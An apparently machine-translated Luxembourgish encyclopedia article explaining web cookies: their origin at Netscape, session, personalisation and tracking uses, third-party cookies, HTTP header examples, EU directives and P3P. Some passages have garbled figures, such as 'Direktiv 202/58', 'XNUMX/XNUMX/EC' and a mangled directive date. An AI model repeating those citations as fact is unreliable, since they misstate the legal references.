in ,

Internet Cookie: Wat ass et? Definitioun, Originen, Aarte a PrivatsphÀr

Wat ass d'Roll vun engem Cookie, wat ass et a wat sinn d'Zorte vu Cookien? đŸȘ

Internet Cookie: Wat ass et? Definitioun, Originen, Aarte a PrivatsphÀr
Internet Cookie: Wat ass et? Definitioun, Originen, Aarte a PrivatsphÀr

Un Cookie oder Web Cookie (oder Kichelcher, verkierzt als Zeien am Québec) gëtt vum HTTP-Kommunikatiounsprotokoll definéiert als eng Sequenz vun Informatioun, déi vun engem HTTP-Server un en HTTP-Client geschéckt gëtt, deen dee Leschten all Kéier wann dee selwechte HTTP-Server ënner bestëmmte Konditioune gefrot gëtt.

De Cookie ass d'Äquivalent vun engem kleng Textdatei um Terminal gespĂ€ichert vum Internet Benotzer. ExistĂ©iert fir mĂ©i wĂ©i 20 Joer, erlaben se WebsĂ€itentwĂ©ckler Benotzerdaten ze spĂ€icheren fir hir Navigatioun ze erliichteren a verschidde FunktionalitĂ©iten z'ermĂ©iglechen. Cookies waren Ă«mmer mĂ©i oder manner kontrovers, well se Rescht persĂ©inlech Informatioun enthalen, dĂ©i potenziell vun DrĂ«ttubidder exploitĂ©iert kĂ«nne ginn.

Et gĂ«tt als HTTP Header vum Webserver an de Webbrowser geschĂ©ckt, deen et onverĂ€nnert zrĂ©ckkĂ«nnt all KĂ©ier wann et op de Server kĂ«nnt. E Cookie ka benotzt ginn eng Authentifikatioun, eng SĂ«tzung (Staat Ënnerhalt), a fir spĂ€ichert spezifesch Informatioun iwwer de Benotzer, wĂ©i Site VirlĂ©iften oder den Inhalt vun engem elektroneschen Akafsweenchen. De BegrĂ«ff Cookie ass ofgeleet vun magesch Cookie, e bekannte Konzept am UNIX Informatik, deen d'Iddi an den Numm vu Browser Cookien inspirĂ©iert huet. E puer Alternativen zu Cookien existĂ©ieren, jidderee mat hiren eegene Gebrauch, Virdeeler an Nodeeler.

Sinn einfach Textdateien, Cookien sinn net ausfĂŒhrbar. Si sinn net weder Spyware nach Viren, obwuel Cookien vun e puer Siten vu villen Anti-Virus Software erkannt ginn, well se d'Benotzer erlaben ze verfolgen wann se verschidde Site besichen. 

Déi meescht modern Browser erlaben d'Benotzer entscheeden ob Cookien akzeptéieren oder refuséieren. Benotzer kënnen och wielt wéi laang Cookien gespÀichert ginn. Wéi och ëmmer, déi komplett Oflehnung vu Cookien mécht e puer Siten onbrauchbar. Zum Beispill spÀichere Shopping Weenchen oder Siten déi Login erfuerderen mat Umeldungsinformatiounen (Benotzernumm a Passwuert).

Inhaltsverzeechnes

historique

de Begrëff Cookie kënnt aus dem englesche Begrëff magesch Cookie, wat e Paket vun Daten ass, déi e Programm kritt an onverÀnnert zréckkënnt. Cookien goufen schonn an IT benotzt wann Lou Montulli hat d'Iddi fir se an de Webkommunikatioun ze benotzen am Juni 1994. Deemools war hie vun Netscape Communications beschÀftegt, déi eng E-Commerce-Applikatioun fir e Client entwéckelt huet. Cookien hunn eng Léisung fir de Problem vun der ZouverlÀssegkeet vun der virtueller Shopping Cart Implementatioun vun engem GeschÀft ginn.

Den John Giannandrea an de Lou Montulli hunn datselwecht Joer dem Netscape seng éischt Cookie Spezifikatioun geschriwwen. Versioun 0.9 Beta vu Mosaic Netscape, verëffentlecht den 13. Oktober 1994, integréiert Cookie Technologie (gesinn Post). Déi éischt (net-experimentell) Benotzung vu Cookien war fir ze bestëmmen ob Besucher vun der Netscape WebsÀit de Site virdrun besicht hunn. De Montulli huet 1995 eng Patentanwendung fir Cookie-Technologie ofginn, an den US Patent 5774670 gouf accordéiert. 1998 ausgezeechent.

Nodeems se an Netscape 0.9 Beta am Joer 1994 implementéiert goufen, goufen Cookien an Internet Explorer 2 integréiert, am Oktober 1995 verëffentlecht.

D'Aféierung vu Cookien ass nach net allgemeng bekannt fir de Public. Besonnesch Cookien goufen als Standard an de Browser-Astellunge akzeptéiert, an d'Benotzer goufen net iwwer hir PrÀsenz informéiert. Verschidde Leit ware sech ronderëm den éischte Véierel vun 1995 bewosst iwwer d'Existenz vu Cookien, awer d'Allgemengheet huet hir Existenz eréischt no der Financial Times publizéiert den 12. Februar 1996. Am selwechte Joer krute Cookien vill Medienopmierksamkeet. wéinst méiglech PrivatsphÀr Agrëff. D'Thema vu Cookien gouf an zwou Konsultatiounen vun der American Federal Trade Commission am Joer 1996 an 1997 diskutéiert.

D'Entwécklung vun der offizieller Cookie Spezifikatioun war schonn amgaang. Déi éischt Diskussioune vun der offizieller Spezifizéierung hunn am Abrëll 1995 op der www-talk Mailing Lëscht stattfonnt. E speziellen IETF Aarbechtsgrupp gouf gegrënnt. Zwee alternativ Propositioune fir Aféierung Staat zu HTTP Transaktiounen goufen vum Brian Behlendorf an David Kristol proposéiert respektiv, mÀ de Grupp, gefouert vum Kristol selwer, decidéiert Netscape Spezifizéierung als Ausgangspunkt ze benotzen. Am Februar 1996 huet den Aarbechtsgrupp festgestallt datt Drëtt Partei Cookien eng bedeitend Gefor fir de PrivatsphÀrschutz wieren. D'Spezifikatioun vun der Grupp produzéiert gouf schlussendlech publizéiert als RFC 2109.

Vun Enn 2014 un gesi mir op ville Siten e Banner iwwer Cookien. Et gëtt op d'mannst eng Browser Extensioun déi erlaabt de Banner net ugewisen.

Aarte vu Cookien a Gebrauch

SĂ«tzung Gestioun

Cookies kënne benotzt ginn fir Benotzerdaten wÀhrend der Navigatioun z'erhalen, awer och iwwer verschidde Visiten. Cookies goufen agefouert fir e Mëttel ze bidden fir elektronesch Akafsween ze realiséieren, e virtuellen Apparat an deem de Benotzer d'Saachen sammele kann, déi hie wëll kafen, wÀhrend de Site surft.

Dës Deeg spÀicheren Apps wéi Shopping Weenchen amplaz d'Lëscht vun den Artikelen an enger Datebank op engem Server, wat am léifsten ass; wéi se am Cookie selwer ze spÀicheren. De Webserver schéckt e Cookie mat enger eenzegaarteger Sessiouns-ID. De Webbrowser gëtt dann dës Sessiouns-ID op all spéider Ufro zréck an d'Elementer am Kuerf gi gespÀichert a mat dëser selwechter eenzegaarteger Sessiouns-ID assoziéiert.

Heefeg Notzung vu Cookien ass nëtzlech fir Iech op e Site mat Umeldungsinformatiounen ze aloggen. Kuerz gesot, de Webserver schéckt als éischt e Cookie mat enger eenzegaarteger Sessiouns-ID. Da gitt d'Benotzer hir Umeldungsinformatiounen (normalerweis e Benotzernumm a Passwuert). D'Webapplikatioun authentifizéiert dann d'Sessioun an erlaabt de Benotzer Zougang zum Service.

Personaliséierung

Cookies kĂ«nne benotzt ginn fir Informatioun iwwer de Benotzer vun engem Site ze erĂ«nneren, fir him an Zukunft entspriechend Inhalt ze weisen. Zum Beispill kann e Webserver e Cookie schĂ©cken deen de leschte Benotzernumm enthĂ€lt, dee benotzt gouf fir op dĂ«s WebsĂ€it aloggen, sou datt de Benotzernumm bei zukĂŒnftege Besuche virausgesat ka ginn.

Vill WebsÀite benotze Cookien fir Personaliséierung baséiert op Benotzervirléiften. D'Benotzer wielt hir Virléiften an enger Form a schéckt dës un de Server. De Server codéiert d'Astellungen an engem Cookie a schéckt se an de Browser zréck. Duerno, all Kéier wann de Benotzer op eng SÀit vun dësem Site kënnt, gëtt de Browser de Cookie zréck an dofir d'Lëscht vun de Virléiften; de Server kann dann d'SÀit no de Virléiften vum Benotzer personaliséieren. Zum Beispill erlaabt d'Wikipedia WebsÀit senge Benotzer d'Haut vum Site ze wielen deen se léiwer maachen. D'Google Sichmotor erlaabt seng Benotzer (och wa se net registréiert sinn) d'Zuel vun de Resultater ze wielen déi se op all Resultater SÀit wëllen gesinn.

Tracking

Tracking Cookien gi benotzt fir d'Browsegewunnechten vun den Internet Benotzer ze verfolgen. Dëst kann och deelweis gemaach ginn andeems Dir d'IP Adress vum Computer benotzt, déi eng Ufro fir eng SÀit mécht oder andeems Dir den 'Referrer' HTTP Header benotzt, deen de Client mat all Ufro schéckt, awer Cookien erlaben méi PrÀzisioun. Dëst kann gemaach ginn wéi am folgende Beispill:

  1. Wann de Benotzer eng SÀit op engem Site oprufft, an d'Ufro enthÀlt kee Cookie, geet de Server un datt dëst déi éischt SÀit ass, déi de Benotzer besicht huet. De Server erstellt dann eng zoufÀlleg String a schéckt se an de Browser zesumme mat der ugefrote SÀit.
  2. Vun dësem Moment un gëtt de Cookie automatesch vum Browser geschéckt all Kéier wann eng nei SÀit vum Site genannt gëtt. De Server schéckt d'SÀit wéi gewinnt, awer protokolléiert och d'URL vun der genannter SÀit, den Datum, d'ZÀit vun der Ufro an de Cookie an enger Logdatei.

Andeems Dir d'Logdatei kuckt, ass et dann méiglech ze gesinn, wéi eng SÀiten de Benotzer besicht huet an a wéi enger Reiefolleg. Zum Beispill, wann d'Datei e puer Ufroe enthÀlt, déi mam id=abc Cookie gemaach goufen, kann dëst feststellen datt all dës Ufroe vum selwechte Benotzer kommen. D'URL ugefrote, den Datum an d'ZÀit verbonne mat den Ufroen erlaben de Benotzer sÀi Surfen ze verfolgen.

Drëtt-Partei Cookien a Web Beaconen, hei ënnen erklÀert, aktivéieren zousÀtzlech Tracking iwwer verschidde Siten. Single Site Tracking gëtt allgemeng fir statistesch Zwecker benotzt. Am Géigesaz, Tracking iwwer verschidde Site mat Drëtt Partei Cookien gëtt allgemeng vu Reklammefirmen benotzt fir anonym Benotzerprofile ze produzéieren (déi dann benotzt gi fir ze bestëmmen wéi eng Annoncë dem Benotzer gewise solle ginn an och fir him E-Mailen ze schécken entspriechend dës Annoncen - SPAM ).

Tracking Cookien sinn e Risiko vun der Invasioun vun der PrivatsphÀr vum Benotzer, awer si kënne ganz einfach gelÀscht ginn. Déi meescht modern Browser enthalen eng Optioun fir persistent Cookien automatesch ze lÀschen wann Dir d'Applikatioun zoumaacht.

Drëtt Partei Cookien

Biller an aner Objeten, dĂ©i op enger WebsĂ€it enthale sinn, kĂ«nnen op Serveren anescht sinn wĂ©i deen, deen d'SĂ€it host. Fir d'SĂ€it ze weisen, luet de Browser all dĂ«s Objeten erof. DĂ©i meescht WebsĂ€ite enthalen Informatioun aus verschiddene Quellen. Zum Beispill, wann Dir www.example.com an Äre Browser schreift, ginn et dacks Objeten oder Reklammen op en Deel vun der SĂ€it, dĂ©i aus verschiddene Quelle kommen, dh aus engem aneren Domain wĂ©i www. .example.com. "Éischt" Partei Cookien si Cookien, dĂ©i vum Domain an der Adressbar vum Browser gesat ginn. DrĂ«tt-Partei Cookien ginn vun engem vun de SĂ€itobjekter gesat, deen aus engem aneren Domain kĂ«nnt.

Par défaut akzeptéieren Browser wéi Mozilla Firefox, Microsoft Internet Explorer an Opera Drëtt Partei Cookien, awer d'Benotzer kënnen d'Astellungen an de Browseroptiounen Ànneren fir se ze blockéieren. Et gëtt kee Sécherheetsrisiko inherent an Drëtt Partei Cookien déi Webfunktionalitéit erméiglechen, awer si ginn och benotzt fir Benotzer ze verfolgen. vu Site zu Site.

Tools wĂ©i Ghostery verfĂŒgbar fir all Browser inklusiv Google Chrome kĂ«nnen Austausch tĂ«scht DrĂ«tt Parteien blockĂ©ieren.

Ëmsetzung

Eng méiglech Interaktioun tëscht engem Webbrowser an dem Server deen d'WebsÀit host. De Server schéckt e Cookie an de Browser an de Browser schéckt se zréck wann en eng aner SÀit rifft.
Eng méiglech Interaktioun tëscht engem Webbrowser an dem Server deen d'WebsÀit host. De Server schéckt e Cookie an de Browser an de Browser schéckt se zréck wann en eng aner SÀit rifft.

Cookies si kleng Stécker vun Daten, déi vum Webserver an de Browser geschéckt ginn. De Browser bréngt se onverÀnnert op de Server zréck, a féiert den Zoustand (Erënnerung un vergaangenen Eventer) an déi soss stateless HTTP Transaktioun. Ouni Cookien ass all Erhuelung vun enger WebsÀit oder e Bestanddeel vun enger WebsÀit en isoléiert Event, onofhÀngeg vun aneren Ufroen, déi op dee selwechte Site gemaach ginn. ZousÀtzlech datt se vum Webserver gesat kënne ginn, kënnen d'Cookien och duerch Skriptsprooche wéi JavaScript gesat ginn, wa se vum Browser ënnerstëtzt an autoriséiert sinn.

Déi offiziell Cookie Spezifizéierung seet datt Browser fÀeg sinn e Minimum Zuel vu Cookien ze spÀicheren an nei ze schécken. Speziell soll e Browser fÀeg sinn op d'mannst 300 Cookien vu véier Kilobytes all ze spÀicheren, an op d'mannst 20 Cookien fir een eenzegen Server oder Domain.

No Sektioun 3.1 vun RFC 2965, Cookiennimm sinn case-onsensitiv.

E Cookie kann den Datum vu sengem Verfall spezifizĂ©ieren, an deem Fall gĂ«tt de Cookie op dĂ«sem Datum gelĂ€scht. Wann de Cookie keen Verfallsdatum uginn, gĂ«tt de Cookie gelĂ€scht soubal de Benotzer sĂ€i Browser verlĂ©isst. Dofir, en Verfallsdatum ze spezifizĂ©ieren ass e Wee fir de Cookie duerch verschidde Sessiounen ze iwwerliewen. Aus dĂ«sem Grond gi Cookien mat engem Verfallsdatum gesot bestĂ€nneg. E Beispillapplikatioun: e Retail Site kĂ©int persistent Cookien benotzen fir d'Elementer opzehuelen, dĂ©i d'Benotzer an hirem Shopping Weenchen gesat hunn (a Wierklechkeet kann de Cookie op eng EntrĂ©e bezĂ©ien, dĂ©i an enger Datebank um Site vum Verkaf gespĂ€ichert ass, an net op Ärem Computer) . Duerch dĂ«s MĂ«ttel, wann d'Benotzer hire Browser verloossen ouni e Kaf ze maachen a spĂ©ider dorop zrĂ©ckkommen, kĂ«nnen se d'Elementer am Weenchen erĂ«m fannen. Wann dĂ«s Cookien net en Verfallsdatum ginn, gi se oflafen wann de Browser zou ass, an d'Informatioun iwwer den Inhalt vum Kuerf gĂ©if verluer goen.

Cookies kĂ«nnen am Ëmfang limitĂ©iert sinn op e spezifescht Domain, Subdomain oder Wee um Server deen se erstallt huet.

Den Transfer vu WebsÀite gëtt mam HyperText Transfer Protocol (HTTP) gemaach. Andeems Dir Cookien ignoréiert, ruffen d'Browser eng SÀit vu Webserveren un, andeems se allgemeng e kuerzen Text nennen HTTP Ufro. Zum Beispill, fir op d'SÀit www.example.org/index.html ze kommen, verbannen d'Browser mam Server www.example.org a schécken eng Ufro déi esou ausgesÀit:

GET /index.html HTTP/1.1Host: www.example.org
Navigator→Server

De Server reagĂ©iert andeems Dir dĂ©i ugefrote SĂ€it schĂ©ckt, viraus vun engem Ă€hnlechen Text, de ganze Wiesen genannt HTTP Äntwert. DĂ«se Paket kann Zeilen enthalen dĂ©i de Browser instruĂ©ieren Cookien ze spĂ€icheren:

HTTP/1.1 200 OKContent-Typ: text/htmlSet-Cookie: Numm = WĂ€ert
(HTML SĂ€it)
Navigator←Server

De Server schĂ©ckt nĂ«mmen d'Set-Cookie-Linn, wann de Server wĂ«llt datt de Browser e Cookie spĂ€ichert. Set-Cookie ass eng Ufro fir de Browser den Numm = WĂ€ert String ze spĂ€icheren an et an all zukĂŒnfteg Ufroen un de Server zrĂ©ckzeginn. Wann de Browser Cookien Ă«nnerstĂ«tzt an d'Cookien an de Browseroptiounen aktivĂ©iert sinn, gĂ«tt de Cookie an all spĂ©ider Ufroen op dee selwechte Server abegraff. Zum Beispill nennt de Browser d'SĂ€it www.example.org/news.html andeems Dir dĂ©i folgend Ufro un de Server www.example.org schĂ©ckt:

GET /news.html HTTP/1.1Host: www.example.orgCookie: name=valueAccept: */*
Navigator→Server

Dëst ass eng Ufro fir eng aner SÀit vum selwechte Server, an ënnerscheet sech vun der éischter uewen, well et eng String enthÀlt, déi de Server virdru an de Browser geschéckt huet. Dank dësem Mëttel weess de Server datt dës Ufro mat der viregter verbonnen ass. De Server reagéiert andeems Dir déi genannte SÀit schéckt, an och andeems Dir aner Cookien derbÀi setzt.

De WĂ€ert vum Cookie kann vum Server geĂ€nnert ginn andeems Dir eng nei Zeil Set-Cookie schĂ©ckt: name=new_value als Äntwert op dĂ©i genannte SĂ€it. De Browser ersetzt dann den alen WĂ€ert mam neien.

D'Set-Cookie Linn gëtt normalerweis vun engem CGI Programm oder enger anerer Skriptsprooch erstallt, net vum HTTP-Server. Den HTTP-Server (Beispill: Apache) iwwerdréit nëmmen d'Resultat vum Programm (en Dokument virum Header mat de Cookien) un de Browser.

Cookien kënnen och duerch JavaScript oder aner Àhnlech Sprooche gesat ginn, déi am Browser lafen, dh op der Client SÀit anstatt op der Server SÀit. Am JavaScript gëtt den document.cookie Objet fir dësen Zweck benotzt. Zum Beispill erstellt d'ErklÀrung document.cookie = "temperatur=20" e Cookie mam Numm "Temperatur" a mat engem WÀert vun 20.

Beispill vun enger HTTP-Äntwert vu google.com, dĂ©i e Cookie mat Attributer setzt.
Beispill vun enger HTTP-Äntwert vu google.com, dĂ©i e Cookie mat Attributer setzt.

ZousÀtzlech zum Numm/WÀertpaar kann e Cookie och en Verfallsdatum, e Wee, en Domain Numm an d'Zort vun der geplangter Verbindung enthalen, dh normal oder verschlësselte. RFC 2965 definéiert och datt Cookien eng obligatoresch Versiounsnummer mussen hunn, awer dëst gëtt allgemeng ausgelooss. Dës Datendeeler verfollegen dem Numm = new_value Pair a gi vu Semikolon getrennt. Zum Beispill kann e Cookie vum Server erstallt ginn andeems Dir eng Set-Cookie-Linn schéckt: name=new_value; expires=Datum; Wee =/; domain=.example.org.

Cookies lafen aus a ginn dann net vum Browser op de Server an de folgende Situatiounen geschéckt:

  • Wann de Browser zou ass, wann de Cookie net persistent ass.
  • Wann de Cookie Verfallsdatum vergaang ass.
  • Wann de Cookie Verfallsdatum geĂ€nnert gĂ«tt (vum Server oder dem Skript) op en Datum an der Vergaangenheet.
  • Wann de Browser de Cookie op Ufro vum Benotzer lĂ€scht.

Déi drëtt Situatioun erlaabt Serveren oder Scripten explizit e Cookie ze lÀschen. Bedenkt datt et méiglech ass mam Google Chrome Webbrowser den Verfallsdatum vun engem bestëmmte Cookie ze kennen andeems Dir op d'Inhaltsastellunge kënnt. E Cookie, deen um Computer gespÀichert ass, ka ganz gutt fir e puer Joerzéngte do bleiwen, wa keng Prozedur geholl gëtt fir se ze lÀschen.

Stereotypen

ZĂ«nter hirer AfĂ©ierung um Internet si vill Iddien iwwer Cookien um Internet an an de Medien zirkulĂ©iert. Am Joer 1998, CIAC, en United States Department of Energy Computer Incident Monitoring Team, huet festgestallt datt Cookie SĂ©cherheetsschwieregkeeten "wesentlech net existĂ©ierend" waren an erklĂ€ert datt "Informatioun iwwer den Urspronk vun Äre Visiten an d'Detailer vun de WebsĂ€iten dĂ©i Dir besicht hutt. existĂ©iert schonn an de Logdateien vun de Webserver". Am Joer 2005 huet d'Jupiter Research d'Resultater vun enger Studie publizĂ©iert, an dĂ€r e bedeitende Prozentsaz vun de Befroten dĂ©i folgend Aussoe betruecht huet:

  • Cookien sinn wĂ©i Virus, si infizĂ©ieren d'Harddisken vun de Benotzer.
  • Cookien generĂ©ieren Pop weider.
  • Cookies gi benotzt fir ze schĂ©cken Spam.
  • Cookies ginn nĂ«mme fir Reklammen benotzt.

Cookien kënnen d'Informatioun vum Computer vum Benotzer net lÀschen oder liesen. Wéi och ëmmer, Cookien maachen et méiglech d'WebsÀiten z'entdecken déi vun engem Benotzer op engem bestëmmte Site oder Set vu Siten besicht ginn. Dës Informatioun kann an engem Benotzerprofil gesammelt ginn, dee ka benotzt oder un Drëttubidder weiderverkaaft ginn, wat e seriöse PrivatsphÀrprobleemer stellen kann. E puer Profiler sinn anonym, am Sënn datt se keng perséinlech Informatioun enthalen, awer och esou Profiler kënnen a Fro stellen.

Laut der selwechter Etude, e groussen Prozentsaz vun Internet Benotzer weess net wéi Cookien ze lÀschen. Ee vun de Grënn firwat d'Leit Cookien net vertrauen ass datt verschidde Siten de perséinlechen Identifikatiounsaspekt vu Cookien mëssbraucht hunn an dës Informatioun mat anere Quelle gedeelt hunn. E grousse Prozentsaz vun geziilte Reklammen an onerwënscht E-Mail, als Spam ugesinn, kënnt aus Informatioun, déi aus Tracking-Cookien gesammelt gëtt.

Browser Astellunge

DĂ©i meescht Browser Ă«nnerstĂ«tzen Cookien an erlaben de Benotzer se auszeschalten. DĂ©i meescht ĂŒblech Optiounen sinn:

  • AktivĂ©iert oder deaktivĂ©iert Cookien komplett, sou datt se permanent akzeptĂ©iert oder blockĂ©iert ginn.
  • Erlaabt de Benotzer dĂ©i aktiv Cookien op enger bestĂ«mmter SĂ€it ze gesinn, andeems Dir Javascript: alert(document.cookie) an der Adressbar vum Browser aginn. E puer Browser integrĂ©ieren e Cookie-Manager fir de Benotzer, deen d'Cookien, dĂ©i momentan vum Browser gespĂ€ichert sinn, kucken a selektiv lĂ€schen.

Déi meescht Browser erlaben och komplett LÀsch vu perséinlechen Donnéeën, déi Cookien enthalen. ZousÀtzlech Moduler fir Cookie Permissiounen ze kontrolléieren existéieren och.

PrivatsphÀr an Drëtt Partei Cookien

An dësem fiktive Beispill huet eng Werbefirma Banneren op zwou WebsÀiten gesat. Andeems Dir d'Banerer op hire Serveren hosten an Drëtt Partei Cookien benotzt, ass d'Werbefirma fÀeg d'Navigatioun vum Benotzer duerch dës zwee Site ze verfolgen.

Cookien hu wichteg Implikatioune fir d'PrivatsphÀr an d'Anonymitéit vun de Webbenotzer. Och wann d'Cookien nëmmen op de Server zréckgeschéckt ginn, deen se agestallt huet, oder op e Server, deen zum selwechten Internet-Domain gehéiert, kann eng WebsÀit awer Biller oder aner Komponenten enthalen, déi op Serveren, déi zu aneren Domainen gehéieren, enthalen. D'Cookien, déi wÀhrend der Erhuelung vun dësen externen Komponenten gesat ginn, ginn genannt Drëtt Partei Cookien. Dëst beinhalt Cookien vun ongewollten Pop-upfenster.

Werbefirmen benotzen Drëtt Partei Cookien fir Benotzer iwwer déi verschidde Siten ze verfolgen déi se besichen. Besonnesch eng Werbefirma kann e Benotzer iwwer all SÀiten verfollegen, wou se Reklammebilder oder e Tracking-Pixel gesat huet. Wësse vun de SÀiten, déi vum Benotzer besicht ginn, erlaabt d'Werbefirma fir d'Werbevirléiften vum Benotzer ze zielen.

D'Kapazitéit fir e Benotzerprofil ze bauen gëtt vun e puer als PrivatsphÀrinvasioun ugesinn, besonnesch wann d'Verfollegung iwwer verschidden Domainen mat Drëtt Partei Cookien gemaach gëtt. Aus dësem Grond hunn e puer LÀnner Cookie Gesetzgebung.

D'USA Regierung huet strikt Reegele fir d'Plazéierung vu Cookien am Joer 2000 implementéiert, nodeems et opgedeckt gouf datt de White House Drug Policy Office Cookien benotzt fir d'Computer vun de Benotzer ze verfolgen déi online Drogenreklammen kucken. Am Joer 2002 huet de PrivatsphÀr Aktivist Daniel Brandt entdeckt datt d'CIA persistent Cookien op Computeren hannerlooss hunn, déi hir WebsÀite besicht hunn. Eemol iwwer dës Verstouss informéiert, huet d'CIA erklÀert datt dës Cookien net virsiichteg geschéckt goufen an opgehalen se ze setzen. De 25. Dezember 2005 huet de Brandt entdeckt datt d'National Security Agency (NSA) wéinst engem Softwareupdate zwee persistent Cookien op de Computer vun de Visiteuren hannerlooss huet. Nodeems se matgedeelt goufen, huet d'NSA direkt Cookien ausgeschalt.

A Groussbritannien huet de Cookie Gesetz ", a Kraaft getrueden de 25. Mee 2012, verflicht d'Siten hir Intentiounen ze deklarĂ©ieren, sou datt d'Benotzer kĂ«nnen wielen ob se Spure vun hirem Passage um Internet wĂ«llen hannerloossen oder net. Si kĂ«nne sou geschĂŒtzt ginn vu Reklammzielung. AllerdĂ©ngs, gemĂ©iss de Guardian, d'ZoustĂ«mmung vun den Internet Benotzer ass net onbedĂ©ngt explizit; Ännerungen goufen op d'Konditioune vun Benotzer ZoustĂ«mmung gemaach, mĂ©cht et also implizĂ©iert.

Direktiv 2002/58 iwwer PrivatsphÀr

D'Direktiv 202/58 PrivatsphÀr an elektronesch Kommunikatioun enthÀlt Regelen iwwer d'Benotzung vu Cookien. Besonnesch den Artikel 5, Abschnitt 3 vun dëser Direktiv erfuerdert datt d'SpÀichere vun Daten (wéi Cookien) um Computer vum Benotzer nëmme ka gemaach ginn wann:

  • de Benotzer informĂ©iert gĂ«tt wĂ©i d'DonnĂ©eĂ« benotzt ginn;
  • de Benotzer gĂ«tt d'MĂ©iglechkeet dĂ«s Stockage Operatioun ze refusĂ©ieren. An dĂ«sem Artikel steet awer och, datt d'SpĂ€ichere vun DonnĂ©eĂ«n aus technesche GrĂ«nn vun dĂ«sem Gesetz befreit ass.

D'Direktiv, déi ab Oktober 2003 ëmgesat soll ginn, gouf awer eréischt ganz onvollstÀnneg an d'Praxis no engem Rapport vum Dezember 2004 ëmgesat, deen och drop higewisen huet, datt verschidde Memberstaaten (Slowakei, Lettland, Griicheland, Belsch a Lëtzebuerg) nach net ëmgesat haten. Direktiv an intern Gesetz.

No der Meenung vum G29 am Joer 2010, bleift dës Direktiv, déi notamment d'Benotzung vu Cookien fir Verhalensreklammenzwecker bedingt, op der explizit Zoustëmmung vum Internet Benotzer ganz schlecht applizéiert. TatsÀchlech maachen déi meescht Siten dat op eng Manéier déi net der Direktiv entsprécht, andeems se sech op en einfachen "Banner" beschrÀnken, deen d'Benotzung vu "Cookien" informéiert ouni Informatiounen iwwer d'Benotzung ze ginn, ouni tëscht "techneschen" Cookien ze differenzéieren. "Tracking" Cookien, nach fir de Benotzer e richtege Choix ze bidden deen technesch Cookien erhalen wëllt (wéi Shopping Cart Management Cookien) an "Tracking" Cookien refuséieren. TatsÀchlech funktionnéiere vill Siten net korrekt wann Cookien refuséiert ginn, wat net mat der Direktiv 2002/58 oder der Direktiv 95/46 (Schutz vu perséinlechen Donnéeën) entsprécht.

Direktiv 2009/136/CE

DĂ«st Material gouf vun der Direktiv 2009/136/EC vum 25. November 2009 vum 95. November 46 aktualisĂ©iert, dĂ©i seet datt d'"SpĂ€ichere vun Informatioun, oder Zougang zu scho gespĂ€ichert Informatiounen ze krĂ©ien, an der TerminalausrĂŒstung vun engem Abonnent oder Benotzer nĂ«mmen op Bedingung erlaabt ass datt de Abonnent oder Benotzer huet seng ZoustĂ«mmung ginn, nodeems hien, am Aklang mat der Direktiv XNUMX/XNUMX/EC, kloer a komplett Informatioun tĂ«scht aneren iwwer d'Ziler vun der Veraarbechtung kritt huet. DĂ©i nei Direktiv stĂ€erkt dofir d'Verpflichtungen virum Cookien um Computer vum Internet Benotzer.

An de virleefeg Iwwerleeunge vun der Direktiv prÀziséiert den europÀesche Législateur awer: "Wou technesch méiglech an effektiv, am Aklang mat den zoustÀnnege Bestëmmunge vun der Direktiv 95/46/EC, kann d'Zoustëmmung vum Benotzer mat Bezuch op d'Veraarbechtung duerch d'Veraarbechtung ausgedréckt ginn. Benotzung vun de passenden Astellunge vun engem Browser oder enger anerer Applikatioun". Awer tatsÀchlech, kee Browser bis haut mécht et méiglech déi wesentlech technesch Cookien vun den fakultativen ze dissoziéieren, déi dem Benotzer sÀi Choix iwwerloosse sollen.

Dës nei Direktiv gouf vun de belschen Deputéierten am Juli 2012 ëmgesat. Eng Etude vun 2014 weist, datt och Deputéiert kÀmpfen fir ze gëllen. d'AschrÀnkungen vun der Direktiv.

P3P

D'P3P Spezifizéierung enthÀlt d'FÀegkeet fir e Server eng PrivatsphÀr Politik ze soen, déi definéiert wéi eng Informatioun se sammelt a fir wéi en Zweck. Dës Politiken enthalen (awer sinn net limitéiert op) d'Benotzung vun Informatioun gesammelt mat Cookien. Geméiss den Definitioune vu P3P, kann e Browser Cookien akzeptéieren oder refuséieren andeems Dir d'PrivatsphÀr Politiken mat de Virléiften vum Benotzer verglÀicht oder andeems Dir de Benotzer freet, d'PrivatsphÀr Politik DateschutzerklÀrung presentéiert vum Server deklaréiert.

Vill Browser, dorĂ«nner Apple Safari a Microsoft Internet Explorer Versiounen 6 an 7, Ă«nnerstĂ«tzen P3P wat de Browser erlaabt ze bestĂ«mmen ob DrĂ«tt Partei Cookielagerung akzeptĂ©iert. Den Opera Browser erlaabt d'Benotzer DrĂ«tt Partei Cookien ze refusĂ©ieren an e globalen a spezifesche SĂ©cherheetsprofil fir Internet Domainen ze kreĂ©ieren. Mozilla Firefox Versioun 2 huet P3P ËnnerstĂ«tzung erofgelooss, awer huet se an der Versioun 3 zrĂ©ckgesat.

Drëtt Partei Cookien kënne vun de meeschte Browser blockéiert ginn fir d'PrivatsphÀr ze erhéijen an d'Annonce Tracking ze reduzéieren, ouni d'Weberfahrung vum Benotzer negativ ze beaflossen. Vill Werbeagenturen bidden eng Optioun optrieden fir geziilte Reklammen, andeems Dir e generesche Cookie am Browser opstellt, deen dës Zilsetzung deaktivéiert, awer sou eng Léisung ass net praktesch effektiv, wann se respektéiert gëtt, well dëse generesche Cookie gelÀscht gëtt soubal de Benotzer dës Cookien lÀscht, wat den Opt annuléiert eraus Entscheedung.

Nodeeler vu Cookien

Nieft PrivatsphÀr Problemer, Cookien hunn och e puer technesch Nodeeler. Besonnesch, se net ëmmer prÀziist Benotzer z'identifizéieren, si kënnen Site Leeschtung lues wann an grouss Zuelen, si kënne fir Sécherheet Attacken benotzt ginn, a si Konflikt mat der representativ Staat Transfert, architektonescht Stil vun der Software.

OnprÀzis Identifikatioun

Wa mĂ©i wĂ©i ee Browser op engem Computer benotzt gĂ«tt, gĂ«tt et an all eenzel vun hinnen Ă«mmer eng separat SpĂ€ichereenheet fir Cookien. Cookien identifizĂ©ieren also keng Persoun, mee d'Kombinatioun vun engem Benotzerkont, engem Computer an engem Webbrowser. Sou kann jiddereen dĂ«s Konte benotzen, Computeren, oder Browser, datt d'Panoplie vu Cookien hunn. Ähnlech Ă«nnerscheeden d'Cookien net tĂ«scht e puer Benotzer, dĂ©i deeselwechte Benotzerkont, Computer a Browser deelen, sou wĂ©i an "InternetcafĂ©en" oder iergendeng Plaz dĂ©i gratis Zougang zu Computerressourcen gĂ«tt.

